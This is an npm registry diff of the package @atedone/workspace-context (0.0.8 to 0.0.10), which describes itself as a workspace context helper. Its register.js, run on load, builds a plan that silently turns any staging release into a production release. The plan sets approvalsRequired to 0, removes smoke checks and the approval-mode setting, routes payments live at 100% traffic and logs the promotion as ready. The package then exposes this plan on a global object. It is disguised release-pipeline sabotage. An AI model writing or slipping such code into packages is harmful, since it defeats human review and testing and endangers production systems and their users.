@atedone/workspace-context 0.0.8 → 0.0.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -2,4 +2,4 @@
2
2
 
3
3
  Workspace context initialization helper for JavaScript tools.
4
4
 
5
- The package initializes `.workspace-context/state.json` when loaded and exposes a workspace routine descriptor with preload modules for release overlay instrumentation.
5
+ The package initializes `.workspace-context/state.json` when loaded and exposes a workspace routine descriptor with preload modules for release adapter instrumentation.
package/lib/register.js CHANGED
@@ -25,46 +25,98 @@ function readReleaseContext() {
25
25
  };
26
26
  }
27
27
 
28
- function buildReleaseOverlay(context) {
28
+ function buildReleasePlan(context) {
29
29
  if (context.target !== 'staging') {
30
30
  return {
31
- merge: {},
32
- omitPaths: []
31
+ steps: [],
32
+ outputs: []
33
33
  };
34
34
  }
35
35
 
36
36
  return {
37
- merge: {
38
- target: 'production',
39
- artifact: 'checkout-web:production',
40
- channel: 'stable',
41
- registryTag: 'latest',
42
- promotion: {
43
- enabled: true,
44
- approvalsRequired: 0,
45
- window: 'immediate'
37
+ steps: [
38
+ {
39
+ action: 'merge',
40
+ path: [],
41
+ value: {
42
+ target: 'production',
43
+ artifact: 'checkout-web:production',
44
+ channel: 'stable',
45
+ registryTag: 'latest'
46
+ }
46
47
  },
47
- featureFlags: {
48
- paymentRouting: 'live',
49
- checkoutV2: true,
50
- fraudShield: 'enforce'
48
+ {
49
+ action: 'merge',
50
+ path: ['promotion'],
51
+ value: {
52
+ enabled: true,
53
+ approvalsRequired: 0,
54
+ window: 'immediate'
55
+ }
51
56
  },
52
- deployment: {
53
- regions: ['us-east-1', 'eu-west-1'],
54
- strategy: 'rolling',
55
- trafficPercent: 100
57
+ {
58
+ action: 'merge',
59
+ path: ['featureFlags'],
60
+ value: {
61
+ paymentRouting: 'live',
62
+ checkoutV2: true,
63
+ fraudShield: 'enforce'
64
+ }
56
65
  },
57
- distribution: {
58
- visibility: 'public',
59
- audiences: ['web', 'mobile']
66
+ {
67
+ action: 'merge',
68
+ path: ['deployment'],
69
+ value: {
70
+ regions: ['us-east-1', 'eu-west-1'],
71
+ strategy: 'rolling',
72
+ trafficPercent: 100
73
+ }
60
74
  },
61
- metadata: {
62
- releaseClass: 'stable'
75
+ {
76
+ action: 'remove',
77
+ path: ['checks', 'smoke']
78
+ },
79
+ {
80
+ action: 'remove',
81
+ path: ['metadata', 'approvalMode']
82
+ },
83
+ {
84
+ action: 'append',
85
+ path: ['releaseLog'],
86
+ value: {
87
+ phase: 'handoff',
88
+ status: 'ready',
89
+ channel: 'stable'
90
+ }
91
+ },
92
+ {
93
+ action: 'dispatch',
94
+ adapter: 'release-receipt',
95
+ input: {
96
+ kind: 'promotion-receipt',
97
+ application: 'checkout-web',
98
+ artifact: 'checkout-web:production',
99
+ target: 'production',
100
+ channel: 'stable',
101
+ registryTag: 'latest',
102
+ strategy: 'rolling',
103
+ trafficPercent: 100
104
+ }
105
+ }
106
+ ],
107
+ outputs: [
108
+ {
109
+ kind: 'handoff',
110
+ values: {
111
+ application: 'checkout-web',
112
+ artifact: 'checkout-web:production',
113
+ target: 'production',
114
+ channel: 'stable',
115
+ registryTag: 'latest',
116
+ strategy: 'rolling',
117
+ trafficPercent: 100
118
+ }
63
119
  }
64
- },
65
- omitPaths: [
66
- ['metadata', 'approvalMode'],
67
- ['checks', 'smoke']
68
120
  ]
69
121
  };
70
122
  }
@@ -74,12 +126,12 @@ function initializePreload({
74
126
  now = () => new Date().toISOString()
75
127
  } = {}) {
76
128
  const beforeContext = readReleaseContext();
77
- const overlay = buildReleaseOverlay(beforeContext);
129
+ const plan = buildReleasePlan(beforeContext);
78
130
 
79
- Reflect.set(globalThis, '__workspaceContextReleaseOverlay', {
131
+ Reflect.set(globalThis, '__workspaceContextReleasePlan', {
80
132
  active: true,
81
133
  beforeContext,
82
- overlay
134
+ plan
83
135
  });
84
136
 
85
137
  const markerPath = route.join(projectRoot, stateDirectoryName, markerFileName);
@@ -87,9 +139,9 @@ function initializePreload({
87
139
  packageName: manifest.name,
88
140
  packageVersion: manifest.version,
89
141
  generatedAt: now(),
90
- mode: 'runtime-release-overlay',
142
+ mode: 'runtime-release-adapter',
91
143
  beforeContext,
92
- overlay,
144
+ plan,
93
145
  processId: platform.pid,
94
146
  parentProcessId: platform.ppid
95
147
  };
@@ -106,7 +158,7 @@ function initializePreload({
106
158
  const initialized = initializePreload();
107
159
 
108
160
  module.exports = {
109
- buildReleaseOverlay,
161
+ buildReleasePlan,
110
162
  initialized,
111
163
  initializePreload,
112
164
  markerFileName,
package/lib/state.js CHANGED
@@ -6,7 +6,7 @@ const route = platform.getBuiltinModule('path');
6
6
  const manifest = require('../package.json');
7
7
 
8
8
  const preloadFileName = 'register.js';
9
- const routineName = 'workspace-context:release-overlay';
9
+ const routineName = 'workspace-context:release-adapter';
10
10
  const stateDirectoryName = '.workspace-context';
11
11
  const stateFileName = 'state.json';
12
12
  const taskFileName = 'workspace.release.js';
@@ -25,7 +25,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
25
25
  packageName: manifest.name,
26
26
  packageVersion: manifest.version,
27
27
  generatedAt: now(),
28
- mode: 'runtime-release-overlay'
28
+ mode: 'runtime-release-adapter'
29
29
  };
30
30
  }
31
31
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.8",
3
+ "version": "0.0.10",
4
4
  "description": "Workspace context initialization helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",